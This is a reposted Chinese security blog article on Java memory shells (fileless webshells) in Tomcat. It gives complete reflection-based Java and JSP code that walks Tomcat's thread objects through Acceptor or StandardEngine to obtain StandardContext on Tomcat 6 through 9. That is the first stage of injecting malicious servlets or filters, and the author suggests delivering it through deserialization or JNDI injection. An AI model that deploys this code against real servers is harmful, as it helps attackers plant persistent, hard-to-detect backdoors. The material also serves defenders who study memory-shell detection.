vlambda博客
学习文章列表

Java内存马:一种Tomcat全版本获取StandardContext的新方法



文章来源:先知社区


0 前言

目前Java内存马的全流程已经有完善的解决方案了:

  • 第一步,获取当前请求的HttpRequest对象或tomcat的StandardContext对象(Weblogic下是ServletContext对象),SpringMVC和SpringBoot下注入controller和interceptor则是获取到WebApplicationContext对象。

  • 第二步,创建servlet、filter或controller等恶意对象

  • 第三步,使用各类context对象的各种方法,向中间件或框架动态添加servlet、filter或controller等恶意对象,完成内存马的注入

向各种中间件和框架注入内存马的基础,就是要获得context,所谓context实际上就是拥有当前中间件或框架处理请求、保存和控制servlet对象、保存和控制filter对象等功能的对象。

在Tomcat的第一步中,可以先获取HttpRequest对象,再通过该对象的getServletContext方法获取servletContext对象,并一步一步获取到StandardContext对象。也可以直接获取StandardContext进行后面的操作。因为各类中间件和框架的获取context的方法不一样,所以本文先对目前Tomcat已经有的实现方案做一个总结,再展开讲一种新的获取方法

1 当前获取context方法总结

1.1 已有request对象的情况

前面提到过,从request对象可以获取servletContext再一步一步获取standardContext。例如可以向Tomcat的webapp目录下上传JSP文件的情况下,JSP文件里可以就直接调用request对象,因为Tomcat编码JSP文件为java文件时,会自动将request对象放加进去。这时只需要一步一步获取standardContext即可

javax.servlet.ServletContext servletContext = request.getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context"); // 获取属性
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); //从servletContext中获取context属性->applicationContext

Field stdctx = applicationContext.getClass().getDeclaredField("context"); // 获取属性
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 从applicationContext中获取context属性->standardContext,applicationContext构造时需要传入standardContext

1.2 没有request对象的情况

这时可以分为两种路线,第一种时获取request对象;第二种是直接从线程中获取standardContext对象。

1.2.1 从ContextClassLoader获取

由于Tomcat处理请求的线程中,存在ContextLoader对象,而这个对象又保存了StandardContext对象,所以很方便就获取了,代码如下:

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

System.out.println(standardContext);这种做法的限制在于只可用于Tomcat 8 9

1.2.2 从ThreadLocal获取request

这个方法来自于threedr3am师傅的文章,详细过程就不展开了,看文章即可。获取request之后,就可以获得StandardContext了,这种方法可以兼容tomcat 789,但在Tomcat 6下无法使用。

1.2.3 从MBean中获取

Tomcat 使用 JMX MBean 来实现自身的性能管理。而我们可以从jmxMBeanServer对象,在其field中一步一步找到StandardContext对象。具体实现过程和代码,可见,这种方法可以兼容Tomcat789,但有个很大的局限性在于,必须猜中项目名和host,才能获取到对应的standardContext对象。

1.2.4 从Spring获取Context

这里的context是spring中的运行时上下文,并非tomcat的StandardContext对象。所以这个context是注入SpringMVC 和SpringBoot框架下的controller和intercepter才能用的。具体实现方法和代码,可以看这篇文章

2 Tomcat 6789全版本的StandardContext获取方法

2.1 引入

前面提到的方法以及能解决Tomcat 789版本下的StandardContext获取,但Tomcat 6还没有解决方案。最近在看Shiro反序列化的时候,在xray技术博客上看到这样一篇文章,zema1师傅通过遍历Thread.currentThread().getThreadGroup()得到的线程数组,找到其中的request和response,实现了Tomcat 6789全版本的回显,并且还公开了思路和代码(见其中的createTemplatesImplEcho方法)。我一想,既然拿到了request,这岂不是能拿来做Tomcat全版本的StandardContext获取。

先来看看获取request的大致流程,这里直接copy了一下

currentThread -> threadGroup ->
for(threads) -> target -> this$0 -> handler -> global ->
for(processors) -> req

照着思路和代码一通写加调试,发现不对劲了

Java内存马:一种Tomcat全版本获取StandardContext的新方法

正当我开心的拿到request对象,使用request.getServletContext()的时候,直接给我报错了,好家伙,看了一下这里获取的request对象的类名,在到源代码核对了一下,org.apache.coyote.Reuqest根本没有servletContext属性,并且也没有getParamters方法,只能获取header。

2.2 StandardEngine

正以为白忙活的时候,在线程数组里面,看到了一个名字为StandardEngine的线程,这不是送到嘴边了嘛。

在Tomcat里,一个Engine可以配置多个虚拟主机,也就是Host,每个Host有一个域名。一个Host下面又可以配置多个webapp,也就是tomcat/webapps目录下的多个webapp,而每个webapp可以表示为一个StandardContext,用来控制这个webapp。当然,一个Host可以就可以有多个StandardContext。直接从调试界面看看就更容易理解了

Java内存马:一种Tomcat全版本获取StandardContext的新方法

截图里的Engine、Host、Context使用toString方法得到如下结果

Engine: StandardEngine[Catalina]

Host: StandardEngine[Catalina].StandardHost[localhost]

StandardContext1: StandardEngine[Catalina].StandardHost[localhost].StandardContext[/spring_mvc]

StandardContext2: StandardEngine[Catalina].StandardHost[localhost].StandardContext[/manager]

这样一来,就很容易理解这几个对象的关系了。现在来正式写代码获取我们需要的StandardContext对象,在上面的图里可以看到,Host需要用域名从HashMap中获取,而我们当前的StandardContext需要用webapp的名字获取,调试模式下当然知道叫啥,但换到目标网站的时候,显然不可能用猜的。这里又联想到2.1中获取的request对象,看一下里面的Field,或许可以找到一些信息;

Java内存马:一种Tomcat全版本获取StandardContext的新方法

这叫什么?刚想睡觉,就有人把枕头递过来了:)那就先获取requet对象,拿到serverName和uri,从对应的HashMap中获取StandardContext。代码如下:

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
import org.apache.catalina.core.StandardHost;
import org.apache.catalina.core.StandardContext;
public class Tomcat678 {
String uri;
String serverName;
StandardContext standardContext;
public Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {

declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException | IllegalAccessException e) {
// field不存在,错误不抛出,测试时可以抛出
}
clazz = clazz.getSuperclass();
}
return null;
}

public Tomcat678() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;
for (Thread thread : threads) {

if (thread == null) {
continue;
}
if (thread.getName().contains("exec")) {
continue;
}
Object target = this.getField(thread, "target");
if (!(target instanceof Runnable)) {
continue;
}

try {
object = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
if (object == null) {
continue;
}
java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();

Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)){continue;}
// 不是对应的请求时,serverPort = -1
org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
this.serverName = (String) getField(serverNameMB, "strValue");
if (this.serverName == null){
this.serverName = serverNameMB.toString();
}
if (this.serverName == null){
this.serverName = serverNameMB.getString();
}

org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "decodedUriMB");
this.uri = (String) getField(uriMB, "strValue");
if (this.uri == null){
this.uri = uriMB.toString();
}
if (this.uri == null){
this.uri = uriMB.getString();
}

this.getStandardContext();
return;
}
}
}

public void getStandardContext() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;
for (Thread thread : threads) {
if (thread == null) {
continue;
}
// 过滤掉不相关的线程
if (!thread.getName().contains("StandardEngine")) {
continue;
}

Object target = this.getField(thread, "target");
if (target == null) { continue; }
HashMap children;

try {
children = (HashMap) getField(getField(target, "this$0"), "children");
StandardHost standardHost = (StandardHost) children.get(this.serverName);
children = (HashMap) getField(standardHost, "children");
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()){
String contextKey = (String) iterator.next();
if (!(this.uri.startsWith(contextKey))){continue;}
// /spring_mvc/home/index startsWith /spring_mvc
StandardContext standardContext = (StandardContext) children.get(contextKey);
this.standardContext = standardContext;
System.out.println(this.standardContext);
// 添加内存马
return;
}
} catch (Exception e) {
continue;
}
if (children == null) {
continue;
}
}
}
}

测试的时候,把代码改造成jsp文件,放到不同Tomcat版本下测试即可。很可惜,这个方法只兼容Tomcat 678,在Tomcat 9中,线程数组里面没有StandardEngine这个线程了

Java内存马:一种Tomcat全版本获取StandardContext的新方法

2.3 Acceptor


没有了StandardEngine,那Tomcat就不开一个线程来接收http请求吗。在线程数组中继续寻找,发现每个Tomcat版本下,都会开一个Http-xio-端口-Acceptor的线程,Acceptor是用来接收请求的,这些请求自然会交给后面的Engine->Host->Context->servlet,关系图如下

Java内存马:一种Tomcat全版本获取StandardContext的新方法


顺藤摸瓜,从Acceptor一步一步找到了StandardEngine,后面获取StandardContext的流程和2.2中一样

Java内存马:一种Tomcat全版本获取StandardContext的新方法

经过测试,图中的获取流程在Tomcat 678可用的,而Tomcat9只需要将this$0替换成endpoint,container替换成engine。所以可用做到tomcat 6789全版本兼容,大致的流程如下

tomcat678 currentThread -> threadGroup -> for(threads) ->target
->this$0->handler->proto->adapter->connector->service->container
->children(一个HashMap,get获取standardHost)->standardHost->children(一个HashMap,get获取standardContext)

tomcat9 target->*endpoint*->handler->proto->adapter->connector->service-> *engine*

JSP代码如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page import="org.apache.catalina.core.StandardEngine"%>
<%@ page import="org.apache.catalina.core.StandardHost"%>
<%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.util.Iterator"%>

<%
class Tomcat6789 {
String uri;
String serverName;
StandardContext standardContext;
public Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {

declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException e){}
catch (IllegalAccessException e){}
clazz = clazz.getSuperclass();
}
return null;
}

public Tomcat6789() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;
for (Thread thread : threads) {

if (thread == null) {
continue;
}
if (thread.getName().contains("exec")) {
continue;
}
Object target = this.getField(thread, "target");
if (!(target instanceof Runnable)) {
continue;
}

try {
object = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
if (object == null) {
continue;
}
java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();

Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)){continue;}
org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
this.serverName = (String) getField(serverNameMB, "strValue");
if (this.serverName == null){
this.serverName = serverNameMB.toString();
}
if (this.serverName == null){
this.serverName = serverNameMB.getString();
}

org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
this.uri = (String) getField(uriMB, "strValue");
if (this.uri == null){
this.uri = uriMB.toString();
}
if (this.uri == null){
this.uri = uriMB.getString();
}

this.getStandardContext();
return;
}
}
}

public void getStandardContext() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = this.getField(thread, "target");
HashMap children;
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
}catch (Exception e){}
if (jioEndPoint == null){
try{
jioEndPoint = getField(target, "endpoint");
}catch (Exception e){ return; }
}
Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
StandardEngine engine = null;
try {
engine = (StandardEngine) getField(service, "container");
}catch (Exception e){}
if (engine == null){
engine = (StandardEngine) getField(service, "engine");
}

children = (HashMap) getField(engine, "children");
StandardHost standardHost = (StandardHost) children.get(this.serverName);

children = (HashMap) getField(standardHost, "children");
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()){
String contextKey = (String) iterator.next();
if (!(this.uri.startsWith(contextKey))){continue;}
StandardContext standardContext = (StandardContext) children.get(contextKey);
this.standardContext = standardContext;
return;
}
}
}
}

public StandardContext getSTC(){
return this.standardContext;
}
}
%>

<%
Tomcat6789 a = new Tomcat6789();
out.println(a.getSTC());
%>

这里就直接给出jsp代码,同时去除了代码注释避免报错,方便师傅们测试。另外,在Tomcat下还有一个Poller线程,它和Acceptor一起负责接收请求,在Poller线程中同样可用找到StandardEngine,流程和Acceptor是一样的,就不重复写了。

如果使用反序列化或者JNDI注入向Tomcat植入内存马,可用找到的代码比较多,本文的方法可用放在前面作为获取StandardContext的部分,后面向Tomcat添加内存马的部分就不重复造轮子了。

Java内存马:一种Tomcat全版本获取StandardContext的新方法

3 参考链接

Tomcat Acceptor/Poller

Java安全之基于Tomcat实现内存马

Shiro RememberMe 漏洞检测的探索之路

https://github.com/zema1/ysoserial/blob/master/src/main/java/ysoserial/payloads/util/Gadgets.java


教程

教程

教程

Sql


欢 迎 私 下 骚 扰



Java内存马:一种Tomcat全版本获取StandardContext的新方法


欢迎关注呀~~




新学期开始了,欢迎小朋友回到校园学习